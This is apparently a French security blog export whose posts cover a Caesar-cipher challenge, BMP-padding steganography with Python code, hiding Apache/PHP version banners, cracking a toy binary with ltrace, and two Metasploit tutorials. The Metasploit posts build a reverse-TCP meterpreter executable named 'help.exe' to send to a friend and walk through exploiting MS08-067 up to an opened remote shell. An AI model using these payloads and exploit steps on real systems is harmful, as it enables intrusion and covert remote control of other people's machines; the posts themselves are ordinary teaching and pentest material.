DEC:17 => GWFAT QJ MFXM UTZW AFQNIJW JXY 27FI62965JJFJ3K0K1319H489H107H99
DEC:18 => FVEZS PI LEWL TSYV ZEPMHIV IWX 27EH62965IIEI3J0J1319G489G107G99
DEC:19 => EUDYR OH KDVK SRXU YDOLGHU HVW 27DG62965HHDH3I0I1319F489F107F99
DEC:20 => DTCXQ NG JCUJ RQWT XCNKFGT GUV 27CF62965GGCG3H0H1319E489E107E99
DEC:21 => CSBWP MF IBTI QPVS WBMJEFS FTU 27BE62965FFBF3G0G1319D489D107D99
DEC:22 => BRAVO LE HASH POUR VALIDER EST 27AD62965EEAE3F0F1319C489C107C99
DEC:23 => AQZUN KD GZRG ONTQ UZKHCDQ DRS 27ZC62965DDZD3E0E1319B489B107B99
DEC:24 => ZPYTM JC FYQF NMSP TYJGBCP CQR 27YB62965CCYC3D0D1319A489A107A99
DEC:25 => YOXSL IB EXPE MLRO SXIFABO BPQ 27XA62965BBXB3C0C1319Z489Z107Z99
</pre>
caesar.rb est un programme faisant juste des décalage de lettres. L'option -b lui dit de tester toutes les possibilités (c'est à dire juste 25 pour un simple César).
On voit que le décalage 22 donne le bon résulat.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com4tag:blogger.com,1999:blog-7133158144968101578.post-53975703665200541472011-01-06T16:01:00.000-08:002013-05-14T00:38:08.191-07:00NDH Steganographie Epreuve 3J'ai décidé pendant mon temps libre de m'attaquer aux <a href="http://wargame.nuitduhack.com/">challenges publics</a> de la <a href="http://www.nuitduhack.com/">nuit du hack</a> 2010 qui a eu lieu le 19 Juin 2010. Comme ces challenges se déroulent sur une nuit, ils sont relativement rapides à faire et je dois dire très bien faits. Je félicite donc les concepteurs de ces challenges, car ils sont très intéressants sans être trop prise de tête.
L'<a href="http://wargame.nuitduhack.com/epreuves/stegano/GHpwO8PFb7/space.bmp">épreuve 3 de steganographie</a> illustre parfaitement mon post sur le <a href="http://www.time0ut.org/blog/steganographie/padding-bmp/">padding BMP</a>.
On ressort donc mon petit programme python que l'on peut trouver dans ce post et on l'exécute sur notre image.
<pre class="brush:bash">
time0ut# ./bmp.py space.bmp
Taille padding : 842
Padding non nul !
</pre>
Ca ne fait pas de doute, ça sent l'information cachée dans le padding à plein nez ! Le problème c'est qu'en stéganographie il peut être facile de savoir si oui ou non une information est cachée dans le support, par contre savoir extraire cette information est d'une toute autre difficulté.<br />
<br />
On va commencer doucement et simplement afficher le contenu de ce padding, avec un peu de chance on trouvera quelque chose de connu. Pour cela, je m'appuie sur la classe BMP codée dans mon post sur le <a href="http://www.time0ut.org/blog/steganographie/padding-bmp/">padding</a>.
<pre class="brush:python">
...
img = BMP(sys.argv[1]);
print "".join(bmp.padding());
</pre>
Et on execute le programme !
<pre class="brush:bash">
time0ut# ./ep3.py space.bmp
bGUgaGFzaCBlc3QgOiA2Njk3NmI1ZDNiYWNjNzQwOWNkODNiNGIzMTM5NDcxYw==
</pre>
Hum, ça sent bon. On voit clairement que c'est de la <a href="http://fr.wikipedia.org/wiki/Base64">base64</a>, l'extraction de l'information ne sera donc pas difficile ! On modifie le programme.
<pre class="brush:python">
...
img = BMP(sys.argv[1]);
print base64.b64decode("".join(bmp.padding()));
</pre>
Et on conclut !
<pre class="brush:bash">
time0ut# ./ep3.py space.bmp
le hash est : 66976b5d3bacc7409cd83b4b3139471c
</pre>
Voilà résolution terminée !ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com2tag:blogger.com,1999:blog-7133158144968101578.post-46248957801200818092011-01-05T16:29:00.000-08:002013-05-29T01:00:48.085-07:00Padding BMPSuite à mon introduction sur le concept de la <a href="http://www.time0ut.org/blog/steganographie/steganographie/">stéganographie</a>, voilà un exemple appliqué sur les images <a href="http://fr.wikipedia.org/wiki/Windows_bitmap">bitmap</a> plus communément appelées BMP. Cette technique assez basique fonctionne exclusivement sur les images BMP car elle utilise une des particularités de ce format : le padding (le bourrage en français). La norme BMP dit que chaque ligne de l'image doit être codée par un nombre d'octets multiple de 4. Si ce n'est pas il faut combler le manque d'octets avec la valeur nulle. On appelle ça le padding.<br />
<div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJRw2eEOJ2pL91GDnvucWH9Vx2qvaYjszL9WXJXwaw1_P1a17AgNL36cwnD7p-nXl6N_w0mpsf4HJt2BdebH6h5EghhQ5wwIwyVQ9i_h6gRPwHTyKXNEdzl50p8a068rrG03oTCtE_zZ0/s1600/padding_def.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJRw2eEOJ2pL91GDnvucWH9Vx2qvaYjszL9WXJXwaw1_P1a17AgNL36cwnD7p-nXl6N_w0mpsf4HJt2BdebH6h5EghhQ5wwIwyVQ9i_h6gRPwHTyKXNEdzl50p8a068rrG03oTCtE_zZ0/s1600/padding_def.jpg" /></a></div><div style="text-align: justify;"> On se retrouve donc avec un fichier possédant des octets qui n'apportent aucune information et qui sont même complètement ignorés par la totalité des programmes. Il est donc possible d'utiliser ce padding pour cacher des données à l'intérieur. L'image apparaitra totalement inchangée dans votre viewer préférée. Cette technique très simple n'est possible que si une ligne n'est pas codée avec un nombre d'octets multiple de 4 bien entendu, sinon le padding sera inexistant. On peut donc écrire la formule suivante qui donnera la taille du nombre d'octet que l'on peut cacher dans une image BMP en utilisant cette technique :</div></div><pre class="brush:plain">Nb_Bytes = L*((4-((C*S)%4))%4)
L : Nombre de lignes de l'image
C : Nombre de colonnes de l'image
S : Taille en octet d'un pixel
</pre><br />
Petit exemple : la première image ici est l'image originale.<br />
<div class="separator" style="clear: both; text-align: center;"></div><br />
<div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVBPu3DJjB2ItPr1hYwBeJHAU6xDDKblKBexTciBwhw6RlsrkXY3GPv2bjgdDTiG_TXYQkl_lpu2UYHUX_W_yn2SD4EbvlGzDjMWo4AEYblVaJN3yTyQHM3emNgBUqJuPBNJy0aAG-eyI/s1600/padding.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVBPu3DJjB2ItPr1hYwBeJHAU6xDDKblKBexTciBwhw6RlsrkXY3GPv2bjgdDTiG_TXYQkl_lpu2UYHUX_W_yn2SD4EbvlGzDjMWo4AEYblVaJN3yTyQHM3emNgBUqJuPBNJy0aAG-eyI/s320/padding.bmp" height="217" width="320" /></a></div></div><div style="text-align: left;"> La deuxième image contient un message caché de 173 octets (on aurait pu aller jusqu'à 508 !).</div><div style="text-align: center;"> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD7UQ8j7_Oh5h4BidJ5zTrmpS8ELM8jhsFiHQ0oNofHh1t7Q9ucOmdmHgVjfY4rhdx8z9cnLirvS-6g9TCHJzLjtYkmAgHNDEXDXiWbhB9jNWiFmFWZ3zgfNXEz1eYlOWcIx4dfuUlaYU/s1600/padding_hidden.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD7UQ8j7_Oh5h4BidJ5zTrmpS8ELM8jhsFiHQ0oNofHh1t7Q9ucOmdmHgVjfY4rhdx8z9cnLirvS-6g9TCHJzLjtYkmAgHNDEXDXiWbhB9jNWiFmFWZ3zgfNXEz1eYlOWcIx4dfuUlaYU/s320/padding_hidden.bmp" height="217" width="320" /></a></div></div><div style="text-align: left;"> Comme on peut le voir elles ont exactement le même aspect et font exactement le même poids. Le programme python suivant permet de savoir si oui ou non l'image que l'on passe en paramètre ne contient que des octets nuls dans son padding (attention à n'utiliser que sur des images BMP non indexées). </div><pre class="brush:python">#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys,struct
class BMP:
def __init__(self,path):
f = open(path,"rb")
data = f.read()
f.close()
names = ["magick","size_file","creator1","creator2","start_data","header_image","width","height","plan","colors","compression","raw_size","horizontal","vertical","color_palette","important_colors"]
values = struct.unpack('<2sLHHLLLLHHLLLLLL',data[:54])
self.data = data[54:]
self.header = dict()
for i in range(len(names)):
self.header[names[i]] = values[i]
# On stocke quelques éléments pour ne pas être obligé de toujours les calculer
self.size_pixel = self.header['colors']/8
self.padding_size = self.padding_size()
# Retourne la taille du padding par ligne
def padding_size(self):
return ((4-(self.header['width']*self.size_pixel)%4)%4)
# Retourne un tableau contenant le padding dans le fichier bmp
def padding(self):
r = []
if self.padding_size != 0:
start = 0
for row in range(self.header['height']):
start += (self.size_pixel*self.header['width'])
r += struct.unpack('c'*self.padding_size,self.data[start:start+self.padding_size])
start += self.padding_size
return r
if len(sys.argv) != 2:
print "Manque le fichier bmp"
sys.exit(1)
bmp = BMP(sys.argv[1])
print "Taille padding : %i" % (bmp.padding_size*bmp.header["height"])
for e in bmp.padding():
if e != 0:
print "Padding non nul !"
sys.exit(0)
print "Padding nul"
sys.exit(0)
</pre><div style="text-align: justify;">Cette technique à l'avantage de ne pas du tout altérer l'image, et de ne pas modifier sa taille. Cependant, outre le fait qu'elle soit très basique, il faut bien faire attention aux informations cachées dans le padding. La simple ouverture de l'image dans un fichier texte peut révéler des parties de l'information cachée, qui se trouvera en clair. Un élément important avec cette technique à préciser est la structure d'un fichier BMP. Contrairement à la plupart des formats d'images les lignes sont stockées dans l'ordre inverse : la dernière ligne est codée, puis l'avant dernière, ... et enfin la première. De plus (mais ça n'a pas réellement d'impact ici), le codage d'un pixel se fait dans l'ordre bleu-vert-rouge, contrairement aux rouge-vert-bleu habituels.</div>ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com3tag:blogger.com,1999:blog-7133158144968101578.post-28850351455165460712011-01-02T11:16:00.000-08:002013-05-14T00:38:08.186-07:00Cacher sa version d'Apache/PHPLa sécurité par l'obscurité n'a jamais été une bonne méthode pour se protéger. Cependant ne pas fournir trop d'informations sur les services et leurs versions écoutant sur notre machine est quand même un élément déterminant, pour rendre la tâche de l'attaquant plus difficile. Ce qui est important, c'est de ne pas se limiter à cela. Ce n'est pas parce que vous filtrez le plus grand nombre d'information que vous êtes en sécurité.
Par défaut <a href="http://httpd.apache.org/">Apache</a> et <a href="http://www.php.net/">PHP</a> envoient des informations sur leurs versions, leurs patchs, le système d'exploitation sur lesquels ils tournent..., que ce soit dans les en-têtes <a href="http://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol">HTTP</a> ou dans les pages d'erreur (de type 404 par exemple). Cette "fuite" d'information sur la configuration de votre serveur WEB est en générale dans la configuration par défaut d'Apache et PHP.
On peut par exemple trouver dans l'en-tête HTTP des informations de ce type :
<pre class="brush:plain">
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch<br />
X-Powered-By: PHP/5.2.6-1+lenny9
</pre>
Et dans les fichiers d'erreurs :
<pre class="brush:plain">
Not Found
The requested URL /blog/dfd.html was not found on this server.
Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch Server at www.time0ut.org Port 80
</pre>
Pour empêcher la divulgation de ces informations, il suffit de modifier les paramètres d'apache de cette façon (en général dans <em>apache.conf</em>) :
<pre class="brush:plain">
ServerTokens Prod
ServerSignature Off
</pre>
La première ligne limite le paramètre <strong>Server</strong> de l'en-tête HTTP à <strong>Apache</strong>, et la deuxième ligne enlève les informations des pages d'erreur.
Pour PHP, il faut modifier le fichier php.ini en mettant :<br />
<pre class="brush:plain">
expose_php = Off
</pre>
Qui aura pour effet de ne plus envoyer la ligne <strong>X-Powered-By</strong> de la réponse HTTP du serveur.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com1tag:blogger.com,1999:blog-7133158144968101578.post-61903031531889225232010-12-03T13:38:00.000-08:002013-05-14T00:37:26.502-07:00Utilisation de ltraceAlors que dernièrement je faisais un petit challenge sur <a href="http://intruded.net/">intruded.net</a>, je me suis retrouvé confronté à un binaire qui me demandait un mot de passe. Un binaire très basique (dans les premiers niveaux) et j'avoue j'avais la flemme d'utiliser <a href="http://www.gnu.org/software/gdb/">gdb</a>.<br />
<br />
Je me suis donc dit que peut être le binaire était suffisamment basique pour pouvoir être résolu juste avec la commande <em>ltrace</em>. La commande <em>ltrace</em> permet de tracer les appels fait par le programme à des fonctions situées dans des librairies partagées. Donc avec un peu de chance, le programme fait juste un <em>strcmp</em> entre la chaîne que l'on a entrée et le mot de passe attendu :)<br />
<br />
Bien entendu, je ne vais pas montrer des exemples avec le binaire d'<a href="http://intruded.net/">intruded.net</a> car ça gâcherait le plaisir. Je vais donc baser mon exemple sur le programme suivant : <br />
<pre class="brush:cpp">#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 16
void uncrypt(const int *pass, char *res) {
int i;
for(i=0;i res[i] = '\0';
}
int main(int argc, char **argv) {
char leurre[] = "ThePass";
int xor_password[] = {216,152,200,254,217,152,207,251,152,216,248,220,155,249,207};
char password[SIZE];
char proposition[SIZE];
uncrypt(xor_password,password);
printf("password : ");
fgets(proposition,SIZE,stdin);
if(!strncmp(proposition,password,SIZE)) printf("ACCESS GRANTED\n");
else printf("ACCESS DENIED\n");
return EXIT_SUCCESS;
}</pre>Comme on peut le voir avec la commande <em>strings</em>, le mot de passe n'apparaît pas étant donné que celui-ci est xoré.<br />
<br />
<pre class="brush:bash">time0ut# strings blog_pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strncmp
puts
__stack_chk_fail
stdin
printf
fgets
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRhP
[^_]
password :
ACCESS GRANTED
ACCESS DENIED
ThePass
</pre>Par contre on voit bien le leurre ;)<br />
La commande <em>ltrace</em> nous permet de venir à bout de ce binaire très simple : <br />
<pre class="brush:bash">time0ut# ltrace ./blog_pass
__libc_start_main(0x80484fe, 1, 0xbfb8a474, 0x8048660, 0x8048650 <unfinished ...="">
printf("password : ") = 11
fgets(password : test
"test\n", 16, 0x97c440) = 0xbfb8a394
strncmp("test\n", "s3cUr3dP3sSw0Rd", 16) = 1
puts("ACCESS DENIED"ACCESS DENIED
) = 14
+++ exited (status 0) +++</unfinished>
</pre>Voilà notre binaire est cassé et le mot de passe trouvé : <em>s3cUr3dP3sSw0Rd</em>.<br />
<pre class="brush:bash">time0ut# ./blog_pass
password : s3cUr3dP3sSw0Rd
ACCESS GRANTED
</pre>A noter, il existe aussi la commande <em>strace</em> qui permet de tracer les appels systèmes.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com1tag:blogger.com,1999:blog-7133158144968101578.post-81925808392579745212010-12-03T11:58:00.000-08:002013-05-14T00:37:16.916-07:00StéganographieLa <a href="http://fr.wikipedia.org/wiki/St%C3%A9ganographie">stéganographie</a> est un domaine que je ne connaissais pas du tout et que j'ai appris à apprécier grâce à des sites de challenges informatiques comme <a href="http://www.newbiecontest.org/">newbiecontest</a>, <a href="http://www.wechall.net/">wechall</a> ou encore <a href="http://bright-shadows.net/">bright-shadows</a>.<br />
<br />
Contrairement à la cryptographie dont l'objectif va être de rendre une information non intelligible pour les personnes non autorisées, la stéganographie va cacher une information dans un contenu de telle sorte qu'on ne puisse pas savoir que quelque chose est cachée. Pourquoi chercher quelque chose si on ne sait même pas que ce quelque chose existe ?<br />
Les différents supports dans lesquels on peut cacher des informations peuvent être très variés : images, vidéos, sons, système de fichier, texte... tout est possible.<br />
<br />
La difficulté pour cacher l'information ou pour déceler qu'une information est cachée dépend vraiment de la technique utilisée. Certaines peuvent très simples, comme la célèbre lettre de George Sand à Alfred de Musset qui doit se lire une ligne sur deux : <pre class="brush:plain">Je suis très émue de vous dire que j'ai
bien compris, l'autre jour, que vous avez
toujours une envie folle de me faire
danser. Je garde un souvenir de votre
baiser et je voudrais que ce soit
là une preuve que je puisse être aimée
par vous. Je suis prête à vous montrer mon
affection toute désintéressée et sans cal-
cul. Si vous voulez me voir ainsi
dévoilée, sans aucun artifice mon âme
toute nue, daignez donc me faire une visite.
Et nous causerons en amis et en chemin.
Je vous prouverai que je suis la femme
sincère capable de vous offrir l'affection
la plus profonde et la plus étroite
amitié, en un mot, la meilleure amie
que vous puissiez rêver. Puisque votre
âme est libre, alors que l'abandon où je
vis est bien long, bien dur et bien souvent
pénible, ami très cher, j'ai le cœur
gros, accourez vite et venez me le
faire oublier. À l'amour, je veux me sou-
mettre entièrement.
</pre>D'autres très compliquées et faisant appel à des analyses statistiques et des calculs mathématiques complexes.<br />
<br />
La stéganographie est un sujet vaste et de nombreuses études sont faites à ce sujet aujourd'hui, car c'est un moyen très puissant pour transmettre des informations qui ne devraient pas être connues.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com0tag:blogger.com,1999:blog-7133158144968101578.post-63509190677840791072010-11-27T10:06:00.000-08:002013-05-14T00:37:08.442-07:00Metasploit : moyen d'administration ?Régulièrement dans mon entourage on me demande de l'aide en informatique : "j'aimerais bien faire ça mais je ne sais pas faire", "ça ne marche pas", "je comprends pas"... La tâche est bien souvent difficile quand on fait cela par téléphone et qu'on n'a pas accès directement à l'ordinateur : le vocabulaire utilisé par la personne novice n'est pas le même, l'interprétation des évènement arrivant sur le PC non plus. L'idéal c'est de pouvoir prendre la main facilement sur le PC quand la personne en a besoin et non pas quand on le souhaite (on essaye quand même de faire de la sécurité).<br />
<br />
Pour faire cela, bien entendu il est complètement impossible de demander à la personne d'installer un serveur <a href="http://fr.wikipedia.org/wiki/Virtual_Network_Computing">VNC</a> et encore moins de lui demander de reconfigurer sa box pour ouvrir (et rediriger) les ports qu'il faut. Je trouve que <a href="http://www.metasploit.com/">metasploit</a> permet de répondre de façon élégante à ce problème.<br />
<br />
L'idée est de créer dans un premier temps un exécutable que l'on enverra à la personne. Une fois que la personne exécutera ce programme, il se connectera directement à notre PC et nous pourrons grâce à cela prendre le contrôle du PC. Etant donné que c'est la personne qui se connecte chez nous (et non pas l'inverse), aucun besoin (en général) de reconfigurer sa box, uniquement la nôtre.<br />
<br />
La création du programme se fait via l'utilitaire <strong>msfpayload</strong> qui permet de générer des payloads utilisés par metasploit. On va donc choisir la payload <em>windows/meterpreter/reverse_tcp</em>, qui est tout simplement un <strong>meterpreter</strong> qui se connectera sur notre machine. Il est nécessaire de spécifier 2 options à ce payload, la première est notre adresse IP et la deuxième et le port tcp sur lequel elle se connectera. Enfin le X à la fin de la commande permet de dire que l'on veut générer un exécutable windows. <br />
<pre class="brush:bash">$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=4444 X &gt; help.exe
</pre>Il faut remplacer dans la ligne de commande $IP par votre IP. Le port utilisé est le port par défaut. Le fichier <em>help.exe</em> généré il suffit de l'envoyer à votre ami pour que celui ci puisse l'exécuter.<br />
<br />
Bien entendu chez nous, il faut un programme qui soit en attente de la connexion. Celui-ci se lance via l'utilitaire <strong>msfcli</strong> (on pourrait le faire en console metaplsoit avec msfconsole) en utilisant l'exploit <em>exploit/multi/handler</em>.<br />
<pre class="brush:bash">time0ut# ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP E</pre>$IP doit bien entendu correspondre avec l'IP qui a été mise dans l'exécutable précédent.<br />
Dès que la personne cliquera sur l'exécutable, il se connectera sur notre handler et une session <strong>meterpreter</strong> sera lancée. Ensuite il suffira de faire un simple <em>run vnc</em> pour avoir un écran VNC ou un simple <em>shell</em> pour avoir une invite de commande.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com1tag:blogger.com,1999:blog-7133158144968101578.post-78955569645433753732009-10-27T16:56:00.000-07:002013-05-14T00:36:59.009-07:00Premiers pas avec Metasploit<a href="http://www.metasploit.com/">Metasploit</a> est un framework permettant le développement et l'exécution d'exploits. Son auteur principal est le célèbre chercheur en sécurité HD Moore.<br />
Le Metasploit framework est un outil open source (redéveloppé en ruby depuis sa version 3) incontournable pour toutes les personnes voulant faire leurs premiers pas dans le monde du pentest. Il est comparable aux outils commerciaux que sont <a href="http://www.immunitysec.com/products-canvas.shtml">CANVAS de Immunity</a> ou <a href="http://www.coresecurity.com/content/core-impact-overview">Core Impact</a>, mais Metasploit a l'avantage d'être totalement gratuit et open source :) En tout cas pour le moment, étant donné qu'il vient d'être <a href="http://blog.metasploit.com/2009/10/metasploit-rising.html">racheté</a> par la société <a href="http://www.rapid7.com/">Rapid7</a>. A priori les premières informations vont dans le sens de la continuité... espérons que cela soit réellement le cas.<br />
<br />
Pour cet exemple j'utilise la version <a href="http://www.metasploit.com/framework/download/">svn de metasploit</a>. Un excellent cours est disponible sur le site de <a href="http://www.offensive-security.com/">offensive security</a> qui développe <a href="http://remote-exploit.org/backtrack.html">BackTrack</a> et est disponible <a href="http://www.offensive-security.com/metasploit-unleashed/">ici</a>.<br />
<pre class="brush:bash">time0ut# svn co https://metasploit.com/svn/framework3/trunk
</pre>On accepte le certificat comme expliqué sur le site et le téléchargement commence. Metasploit arrive avec une base de données importante d'exploits (433 à l'heure ou j'écris ces lignes) et de payloads (262).<br />
Il y a plusieurs façons d'utiliser cet outil : via une interface WEB, via une interface GTK, via une interface console, via la ligne de commande... Les interfaces WEB et GTK, bien que plus <a href="http://www.son-video.com/Selection/Elle/Waf.html">WAF</a> ne sont pas exempt de bugs. Nous préfèrerons donc l'utilisation de l'interface console, plus aboutie et plus puissante. La ligne de commande servira pour l'automatisation par exemple et ne sera pas vue dans cet article.<br />
<br />
Le lancement de l'interface console se fait grâce au script ruby <em>msfconsole</em>.<br />
<pre class="brush:bash">time0ut# ./msfconsole
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|
=[ msf v3.3-beta [core:3.3 api:1.0]
+ -- --=[ 433 exploits - 262 payloads
+ -- --=[ 21 encoders - 8 nops
=[ 209 aux
msf >
</pre>A n'importe quel moment dans la console, il est possible d'utiliser la commande <em>help</em> pour avoir de l'aide. <br />
Il est important de bien faire la différence entre l'exploit et le payload. L'exploit est le code qui va permettre d'exploiter la vulnérabilité. Le code qui va par exemple permettre d'arriver à faire un <a href="http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon">buffer overflow</a> dans l'application cible. Le payload est quant à lui la charge utile que l'on va faire exécuter, comme par exemple l'ouverture d'un port sur la machine relié à un shell, la création d'un nouvel utilisateur ou encore l'ouverture d'une session <a href="http://en.wikipedia.org/wiki/VNC">VNC</a>. Bien entendu tous les exploits ne permettent pas d'utiliser tous les payloads, mais metasploit se charge de nous dire quels sont les payloads possibles pour un exploit donné.<br />
<br />
Dans cet exemple, nous allons utiliser la vulnérabilité découverte fin 2008, qui touche les machines Windows, la célèbre <a href="http://www.microsoft.com/france/technet/security/Bulletin/MS08-067.mspx">MS08-067</a> qui a été largement utilisée par le ver <a href="http://en.wikipedia.org/wiki/Conficker">Conficker</a>.<br />
<br />
Pour cela, il faut trouver l'exploit, grâce à la commande <em>search</em> par exemple et le sélectionner avec la commande <em>use</em>. <pre class="brush:plain">msf > search ms08-067
[*] Searching loaded modules for pattern 'ms08-067'...
Exploits
========
Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > </pre>Il est possible d'avoir des informations sur cet exploit avec la commande <em>info</em>. <pre class="brush:plain">msf exploit(ms08_067_netapi) > info windows/smb/ms08_067_netapi
Name: Microsoft Server Service Relative Path Stack Corruption
Version: 6865
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Provided by:
hdm <hdm metasploit.com="">
Brett Moore <brett .moore="" insomniasec.com="">
Available targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
...
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload information:
Space: 400
Avoid: 8 characters
Description:
This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.dll through the Server Service. This module is
capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from crashing. Windows XP
targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This
is just the first version of this module, full support for NX bypass
on 2003, along with other platforms, is still in development.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
http://www.osvdb.org/49243
http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx</brett></hdm></pre>Chaque exploit peut nécessiter une configuration, qu'il est possible de voir avec la commande <em>show options</em>. Ici la variable <em>RHOST</em> doit être précisée. Elle représente l'adresse IP de la machine victime. Les autres variables ont des valeurs par défaut et peuvent être modifiées si besoin. <pre class="brush:plain">msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.5
RHOST => 192.168.0.5
msf exploit(ms08_067_netapi) ></pre>Maintenant il faut choisir le payload que l'on va utiliser. Les payloads disponibles pour cet exploit se trouvent avec la commande <em>show payloads</em>. Un multitude de payloads existent pour cet exploit, je n'en ai donc affiché que quelques uns. La sélection du payload se fait via la commande <em>set PAYLOAD payload_a_utiliser</em>. Enfin comme pour les exploits, les payloads nécessitent parfois une configuration que l'on peut toujours voir avec la commande <em>show options</em>. <pre class="brush:plain">msf exploit(ms08_067_netapi) > show payloads
...
windows/shell/bind_tcp Windows Command Shell, Bind TCP Stager
windows/shell/reverse_tcp Windows Command Shell, Reverse TCP Stager
...
msf exploit(ms08_067_netapi) > info windows/shell/bind_tcp
Name: Windows Command Shell, Bind TCP Stager
Version: 7075, 7075
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 298
Provided by:
spoonm <spoonm email.com="" no="">
sf <stephen_fewer harmonysecurity.com="">
hdm <hdm metasploit.com="">
skape <mmiller hick.org="">
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST no The target address
Description:
Listen for a connection, Spawn a piped command shell
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) ></mmiller></hdm></stephen_fewer></spoonm></pre>La commande <em>info</em> nous permet de voir que tous les paramètres du payload sont renseignés. Il ne manque plus qu'à réellement lancer l'exploit, ce qui se fait avec la commande <em>exploit</em> ou <em>run</em>. <pre class="brush:plain">msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.0.2:45290 -> 192.168.0.5:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32> owned :)</pre>Comme on peut le remarquer, l'exploit a fonctionné puisqu'on tombe sur un shell Windows :) Le payload <em>windows/shell/bind_tcp</em> a ouvert le port 4444 sur la machine victime, et metasploit c'est automatiquement connecté dessus. <br />
<br />
Le problème c'est que beaucoup de machines sont derrière un équipement qui fait du NAT. Donc si le port ouvert sur la machine victime (ici 4444) n'est pas redirigé, impossible de prendre la main sur la machine...<br />
<br />
Le payload <em>windows/shell/reverse_tcp</em> peut être beaucoup plus utile dans bien des cas comparé au payload <em>windows/shell/bind_tcp</em>. La différence est que le premier ne va pas ouvrir un port sur la machine victime mais va faire une connexion TCP sur l'adresse IP de la machine qui sera pointée par la variable <em>LHOST</em> (la machine qui utilise metasploit). Donc plutôt que la machine metasploit initie la connexion vers la machine victime, c'est la machine victime qui va initier la connexion vers la machine metasploit. Beaucoup plus pratique pour exploiter une machine qui se trouverait derrière un NAT ou un firewall ;) <pre class="brush:plain">msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.0.5 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.0.2:4444 -> 192.168.0.5:1033)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
